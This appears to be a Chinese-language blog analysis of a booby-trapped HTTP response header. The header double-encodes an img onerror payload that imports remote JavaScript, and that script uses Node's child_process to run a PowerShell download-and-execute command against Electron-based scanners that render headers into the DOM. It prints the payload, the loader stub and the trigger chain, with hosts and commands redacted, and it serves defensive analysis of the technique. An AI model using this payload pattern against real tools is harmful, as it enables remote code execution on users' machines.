响应头
样本的 X-Powered-By 包含两层 HTML 实体,结构整理后如下:
X-Powered-By: PHP/7&#...;<img src=1 onerror=import...>

循环调用 html.unescape():
from html import unescape
value = response_header
while True:
decoded = unescape(value)
if decoded == value:
break
value = decoded
print(value)
第二次解码后得到:
PHP/7<marker><img src=1 onerror=import(unescape(
'http://<redacted>/<marker>/Node.js'
))>
<marker> 是每个样本不同的随机字符串,同时出现在脚本路径中。
Node.js 载荷
远程脚本的核心结构:
(function () {
require("child_process").exec(
"powershell <download and execute payload>"
);
})();
触发链:
响应头被当作 HTML 渲染
-> img onerror
-> 动态 import 远程 JavaScript
-> Electron/Node.js require
-> child_process.exec
普通浏览器页面没有 require()。该链条针对开启 Node.js 集成、并把响应头直接写入 DOM 的扫描器或 Electron 工具。
当时记录的几组仿冒登录页和调试现场:




common.js
另一批样本额外加载:
monitordevinfo/common.js
common.js 使用字符串表、数组轮转和大量索引访问隐藏逻辑。原始记录中使用 JavaScript Deobfuscator 展开后,能确认它负责浏览器环境和调试状态检测。


当时的批量样本存在以下共同点:
monitordevinfo/common.js
nginx/1.16.1
相同的混淆结构
这些特征只能说明样本使用了相同组件或部署模板,不能单凭 Nginx 版本判断蜜罐。

原记录中的配图:

参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。